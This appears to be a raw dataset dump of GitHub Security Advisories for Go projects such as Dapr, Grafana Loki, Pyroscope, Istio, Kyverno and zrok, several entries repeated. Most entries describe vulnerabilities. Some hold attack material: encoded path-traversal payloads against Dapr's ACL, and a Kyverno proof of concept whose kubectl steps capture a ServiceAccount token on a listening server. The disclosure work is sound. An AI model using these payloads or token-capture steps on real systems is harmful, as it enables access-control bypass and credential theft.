deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-85gx-3qv6-4463
Package: github.com/dapr/dapr (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-284: Improper Access Control
Vulnerable versions: >= 1.16.0-rc.1, < 1.16.14
Patched in: 1.16.14

Summary: Dapr: Service Invocation path traversal ACL bypass

Details:
### Summary

A vulnerability has been found in Dapr that allows bypassing access control policies for service invocation using reserved URL characters and path traversal sequences in method paths. The ACL normalized the method path independently from the dispatch layer, so the ACL evaluated one path while the target application received a different one.

Users who have configured access control policies for service invocation are strongly encouraged to upgrade Dapr to the respective patch version `1.17.5`, `1.16.14`, and `1.15.14`.

### Impact

This vulnerability impacts Dapr users who have configured access control policies for service invocation. An attacker who can reach the Dapr HTTP or gRPC API could:

- Use encoded path traversal (ex: `admin%2F..%2Fpublic`) to reach an allowed path while the method started from a denied prefix.
- Use encoded fragment (`%23`) or query (`%3F`) characters to cause the ACL to evaluate a different path than what was delivered to the target application.

### Patches

Users should upgrade immediately to their respective Dapr version `1.17.5`, `1.16.14`, and `1.15.14`.

### Details

Dapr supports access control policies for service invocation, which allow operators to restrict which methods an application is permitted to call on a target app. When a request arrives, Dapr evaluates the method path against the configured policy before dispatching to the target.

Prior to this fix, the ACL and the dispatch layer normalized the method path independently. The ACL used `purell.NormalizeURLString`, which decoded `%XX` sequences, resolved `../`, and stripped `#` and `?` as URL delimiters. The dispatch layer used the raw method string. This mismatch meant the ACL authorized one path while the target application received a different one.

For example, a method of `admin%2F..%2Fpublic` was normalized by the ACL to public (allowed), but the target application received `admin/../public`. 

The gRPC API was the more dangerous vector because gRPC passes method strings raw — `#`, `?`, `../`, and control characters were all delivered literally with no client-side sanitization.

### References

[This PR](https://github.com/dapr/dapr/pull/9589) signaled to us about the CVE, special thanks to @dbconfession78 for the efforts here and the original PR.
GitHub Security Advisory: GHSA-85gx-3qv6-4463
Package: github.com/dapr/dapr (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-284: Improper Access Control
Vulnerable versions: >= 1.17.0-rc.1, < 1.17.5
Patched in: 1.17.5

Summary: Dapr: Service Invocation path traversal ACL bypass

Details:
### Summary

A vulnerability has been found in Dapr that allows bypassing access control policies for service invocation using reserved URL characters and path traversal sequences in method paths. The ACL normalized the method path independently from the dispatch layer, so the ACL evaluated one path while the target application received a different one.

Users who have configured access control policies for service invocation are strongly encouraged to upgrade Dapr to the respective patch version `1.17.5`, `1.16.14`, and `1.15.14`.

### Impact

This vulnerability impacts Dapr users who have configured access control policies for service invocation. An attacker who can reach the Dapr HTTP or gRPC API could:

- Use encoded path traversal (ex: `admin%2F..%2Fpublic`) to reach an allowed path while the method started from a denied prefix.
- Use encoded fragment (`%23`) or query (`%3F`) characters to cause the ACL to evaluate a different path than what was delivered to the target application.

### Patches

Users should upgrade immediately to their respective Dapr version `1.17.5`, `1.16.14`, and `1.15.14`.

### Details

Dapr supports access control policies for service invocation, which allow operators to restrict which methods an application is permitted to call on a target app. When a request arrives, Dapr evaluates the method path against the configured policy before dispatching to the target.

Prior to this fix, the ACL and the dispatch layer normalized the method path independently. The ACL used `purell.NormalizeURLString`, which decoded `%XX` sequences, resolved `../`, and stripped `#` and `?` as URL delimiters. The dispatch layer used the raw method string. This mismatch meant the ACL authorized one path while the target application received a different one.

For example, a method of `admin%2F..%2Fpublic` was normalized by the ACL to public (allowed), but the target application received `admin/../public`. 

The gRPC API was the more dangerous vector because gRPC passes method strings raw — `#`, `?`, `../`, and control characters were all delivered literally with no client-side sanitization.

### References

[This PR](https://github.com/dapr/dapr/pull/9589) signaled to us about the CVE, special thanks to @dbconfession78 for the efforts here and the original PR.
GitHub Security Advisory: GHSA-497x-rrr9-68jp
Package: github.com/grafana/loki/v3 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 3.6.4
Patched in: 3.6.4

Summary: Grafana Loki Path Traversal - CVE-2021-36156 Bypass

Details:
The CVE-2021-36156 fix validates the namespace parameter for path traversal sequences after a single URL decode, by double encoding, an attacker can read files at the Ruler API endpoint /loki/api/v1/rules/{namespace}

Thanks to Prasanth Sundararajan for reporting this vulnerability.
GitHub Security Advisory: GHSA-m9hq-h476-h2g8
Package: github.com/grafana/pyroscope (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-732: Incorrect Permission Assignment for Critical Resource
Vulnerable versions: >= 1.16.0, < 1.16.1
Patched in: 1.16.1

Summary: Pyroscope Exposes Storage Secret

Details:
Pyroscope is an open-source continuous profiling database. The database supports various storage backends, including Tencent Cloud Object Storage (COS).

If the database is configured to use Tencent COS as the storage backend, an attacker could extract the secret_key configuration value from the Pyroscope API.

To exploit this vulnerability, an attacker needs direct access to the Pyroscope API. We highly recommend limiting the public internet exposure of all our databases, such that they are only accessible by trusted users or internal systems.

This vulnerability is fixed in versions:

1.15.x: 1.15.2 and above.
1.16.x: 1.16.1 and above.
1.17.x: 1.17.0 and above (i.e. all versions).

Thanks to Théo Cusnir for reporting this vulnerability to us via our bug bounty program.
GitHub Security Advisory: GHSA-m9hq-h476-h2g8
Package: github.com/grafana/pyroscope (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-732: Incorrect Permission Assignment for Critical Resource
Vulnerable versions: < 1.15.2
Patched in: 1.15.2

Summary: Pyroscope Exposes Storage Secret

Details:
Pyroscope is an open-source continuous profiling database. The database supports various storage backends, including Tencent Cloud Object Storage (COS).

If the database is configured to use Tencent COS as the storage backend, an attacker could extract the secret_key configuration value from the Pyroscope API.

To exploit this vulnerability, an attacker needs direct access to the Pyroscope API. We highly recommend limiting the public internet exposure of all our databases, such that they are only accessible by trusted users or internal systems.

This vulnerability is fixed in versions:

1.15.x: 1.15.2 and above.
1.16.x: 1.16.1 and above.
1.17.x: 1.17.0 and above (i.e. all versions).

Thanks to Théo Cusnir for reporting this vulnerability to us via our bug bounty program.
GitHub Security Advisory: GHSA-j6cv-3w8p-vrg8
Package: kubevirt.io/kubevirt (GO)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 1.8.1
Patched in: unpatched

Summary: KubeVirt's authorization mechanism improperly truncates subresource names

Details:
A flaw was found in KubeVirt's Role-Based Access Control (RBAC) evaluation logic. The authorization mechanism improperly truncates subresource names, leading to incorrect permission evaluations. This allows authenticated users with specific custom roles to gain unauthorized access to subresources, potentially disclosing sensitive information or performing actions they are not permitted to do. Additionally, legitimate users may be denied access to resources.
GitHub Security Advisory: GHSA-fgw5-hp8f-xfhc
Package: istio.io/istio (GO)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.0.0[PII_REDACTED]4459-189832a289c1
Patched in: 0.0.0[PII_REDACTED]4459-189832a289c1

Summary: Istio: SSRF via RequestAuthentication jwksUri

Details:
### Impact

When a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration.

Note: a partial mitigation for this was released in 1.29.1, 128.5, and 1.27.8; however, it was incomplete and missed a few codepaths. 1.29.2 and 1.28.6 contain the more robust fix.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

### Workarounds

Users can deploy a `ValidatingAdmissionPolicy` to prevent the creation of `RequestAuthentication` resources with suspicious jwksUri field values (e.g. localhost, 127.0.0.0/8, 169.254.0.0/16, the ipv6 variants, etc.).

### References
None
GitHub Security Advisory: GHSA-8wfp-579w-6r25
Package: github.com/kyverno/kyverno (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-522: Insufficiently Protected Credentials
Vulnerable versions: < 1.17.0
Patched in: 1.17.0

Summary: Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Details:
### Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

---

### Details

Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:

`/var/run/secrets/kubernetes.io/serviceaccount/token`

and injects it into every HTTP request as:

```
Authorization: Bearer <token>
```

This occurs when no explicit `Authorization` header is defined in the policy.

#### Root cause

```go
if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}
```

This logic introduces several issues:

- **Implicit credential forwarding** to arbitrary endpoints
- **No trust boundary validation** (external/internal distinction)
- **Undocumented behavior**
- **Header.Add instead of Set** allows duplication
- **No token sanitization** (potential trailing newline)

---

### PoC

#### Preconditions

- Kyverno installed (v1.17.1 tested)
- A policy using `apiCall.service.url`

---

#### Step 1 — Deploy capture server

```bash
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
```

---

#### Step 2 — Create policy

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"
```

---

#### Step 3 — Trigger

```bash
kubectl run test --image=nginx
```

---

#### Step 4 — Observe token

```bash
kubectl logs capture
```

Output:

```
Authorization: Bearer <SA_TOKEN>
```

---

### Impact

#### Vulnerability class
- Credential exposure / leakage

#### Impact details

- Exposure of Kubernetes ServiceAccount token
- Token grants:
  - Full control over Kyverno policies
  - Ability to create/delete webhooks
  - Read cluster-wide resources
  - Privilege escalation and persistence
GitHub Security Advisory: GHSA-hv5g-26jg-pc45
Package: www.velocidex.com/golang/velociraptor (GO)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 0.76.2
Patched in: unpatched

Summary: Velociraptor vulnerability in the query() plugin which allows access to all orgs with the user's current ACL token

Details:
Velociraptor versions prior to 0.76.3 contain a vulnerability in the query() plugin which allows access to all orgs with the user's current ACL token. This allows an authenticated GUI user with access in one org, to use the query() plugin, in a notebook cell, to run VQL queries on other orgs which they may not have access to. The user's permissions in the other org are
the same as the permissions they have in the org containing the notebook.
GitHub Security Advisory: GHSA-9jj7-4m8r-rfcm
Package: github.com/jackc/pgx/v5 (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 5.9.0
Patched in: 5.9.0

Summary: Memory-safety vulnerability in github.com/jackc/pgx/v5.

Details:
Memory-safety vulnerability in github.com/jackc/pgx/v5.
GitHub Security Advisory: GHSA-ggmw-mjhv-75rm
Package: github.com/NietThijmen/ShoppingCart (GO)
Severity: HIGH (CVSS 8.4)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 0.0.0[PII_REDACTED]5353-3dd137080276
Patched in: unpatched

Summary: NietThijmen ShoppingCart: Command injection in the connect function

Details:
Command injection in the connect function in NietThijmen ShoppingCart 0.0.2 allows an attacker to execute arbitrary shell commands and achieve remote code execution via injection of malicious payloads into the Port field
GitHub Security Advisory: GHSA-3jpj-v3xr-5h6g
Package: github.com/openziti/zrok/v2 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-284: Improper Access Control, CWE-863: Incorrect Authorization
Vulnerable versions: < 2.0.1
Patched in: 2.0.1

Summary: zrok: Broken ownership check in DELETE /api/v2/unaccess allows non-admin to delete global frontend records

Details:
Summary
The unaccess handler (controller/unaccess.go) contains a logical error in its ownership guard: when a frontend record has environment_id = NULL (the marker for admin-created global frontends), the condition short-circuits to false and allows the deletion to proceed without any ownership verification. A non-admin user who knows a global frontend token can call DELETE /api/v2/unaccess with any of their own environment IDs and permanently delete the global frontend, taking down all public shares routed through it.

Attack Vector: Network — the endpoint is a standard HTTP API call.

Attack Complexity: High — successful exploitation requires prior knowledge of a global frontend token. These tokens are not returned to non-admin users by any standard API endpoint; obtaining one requires an out-of-band step (e.g., leaked server logs, admin documentation for a self-hosted instance, or social engineering).

Privileges Required: Low — a valid user account with at least one registered environment is required; no admin privileges needed.

User Interaction: None.

Scope: Unchanged — the impact stays within the same server instance.

Confidentiality Impact: None — no data is disclosed.

Integrity Impact: None — no data is improperly modified; the record is deleted (not corrupted).

Availability Impact: High — deleting a global frontend disrupts every public share routed through it on the instance, constituting a platform-wide availability impact.

Affected Component
controller/unaccess.go — unaccessHandler.Handle (line 56)
GitHub Security Advisory: GHSA-3jpj-v3xr-5h6g
Package: github.com/openziti/zrok (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-284: Improper Access Control, CWE-863: Incorrect Authorization
Vulnerable versions: <= 1.1.11
Patched in: unpatched

Summary: zrok: Broken ownership check in DELETE /api/v2/unaccess allows non-admin to delete global frontend records

Details:
Summary
The unaccess handler (controller/unaccess.go) contains a logical error in its ownership guard: when a frontend record has environment_id = NULL (the marker for admin-created global frontends), the condition short-circuits to false and allows the deletion to proceed without any ownership verification. A non-admin user who knows a global frontend token can call DELETE /api/v2/unaccess with any of their own environment IDs and permanently delete the global frontend, taking down all public shares routed through it.

Attack Vector: Network — the endpoint is a standard HTTP API call.

Attack Complexity: High — successful exploitation requires prior knowledge of a global frontend token. These tokens are not returned to non-admin users by any standard API endpoint; obtaining one requires an out-of-band step (e.g., leaked server logs, admin documentation for a self-hosted instance, or social engineering).

Privileges Required: Low — a valid user account with at least one registered environment is required; no admin privileges needed.

User Interaction: None.

Scope: Unchanged — the impact stays within the same server instance.

Confidentiality Impact: None — no data is disclosed.

Integrity Impact: None — no data is improperly modified; the record is deleted (not corrupted).

Availability Impact: High — deleting a global frontend disrupts every public share routed through it on the instance, constituting a platform-wide availability impact.

Affected Component
controller/unaccess.go — unaccessHandler.Handle (line 56)
GitHub Security Advisory: GHSA-cpf9-ph2j-ccr9
Package: github.com/openziti/zrok/v2 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-789: Memory Allocation with Excessive Size Value
Vulnerable versions: < 2.0.1
Patched in: 2.0.1

Summary: zrok: Unauthenticated DoS via unbounded memory allocation in striped session cookie parsing

Details:
**Summary**
endpoints.GetSessionCookie parses an attacker-supplied cookie chunk count and calls make([]string, count) with no upper bound before any token validation occurs. The function is reached on every request to an OAuth-protected proxy share, allowing an unauthenticated remote attacker to trigger gigabyte-scale heap allocations per request, leading to process-level OOM termination or repeated goroutine panics. Both publicProxy and dynamicProxy are affected.

- Attack Vector: Network — exploitable via a single HTTP request with a crafted Cookie header.
- Attack Complexity: Low — no preconditions or chaining required; the attacker only needs to know the cookie name (publicly derivable from any OAuth redirect).
- Privileges Required: None — reached before JWT validation or any authentication check.
- User Interaction: None.
- Scope: Unchanged — impact is confined to the affected proxy process.
- Confidentiality Impact: None.
- Integrity Impact: None.

Availability Impact: High — sustained or concurrent requests cause OOM process termination, taking down the proxy for all users of all shares it serves.

**Affected Components**
- endpoints/oauthCookies.go — GetSessionCookie (line 81)
- endpoints/publicProxy/authOAuth.go — handleOAuth (line 50) — call site, pre-auth
- endpoints/dynamicProxy/cookies.go — getSessionCookie (line 29) — call site
GitHub Security Advisory: GHSA-cpf9-ph2j-ccr9
Package: github.com/openziti/zrok (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-789: Memory Allocation with Excessive Size Value
Vulnerable versions: <= 1.1.11
Patched in: unpatched

Summary: zrok: Unauthenticated DoS via unbounded memory allocation in striped session cookie parsing

Details:
**Summary**
endpoints.GetSessionCookie parses an attacker-supplied cookie chunk count and calls make([]string, count) with no upper bound before any token validation occurs. The function is reached on every request to an OAuth-protected proxy share, allowing an unauthenticated remote attacker to trigger gigabyte-scale heap allocations per request, leading to process-level OOM termination or repeated goroutine panics. Both publicProxy and dynamicProxy are affected.

- Attack Vector: Network — exploitable via a single HTTP request with a crafted Cookie header.
- Attack Complexity: Low — no preconditions or chaining required; the attacker only needs to know the cookie name (publicly derivable from any OAuth redirect).
- Privileges Required: None — reached before JWT validation or any authentication check.
- User Interaction: None.
- Scope: Unchanged — impact is confined to the affected proxy process.
- Confidentiality Impact: None.
- Integrity Impact: None.

Availability Impact: High — sustained or concurrent requests cause OOM process termination, taking down the proxy for all users of all shares it serves.

**Affected Components**
- endpoints/oauthCookies.go — GetSessionCookie (line 81)
- endpoints/publicProxy/authOAuth.go — handleOAuth (line 50) — call site, pre-auth
- endpoints/dynamicProxy/cookies.go — getSessionCookie (line 29) — call site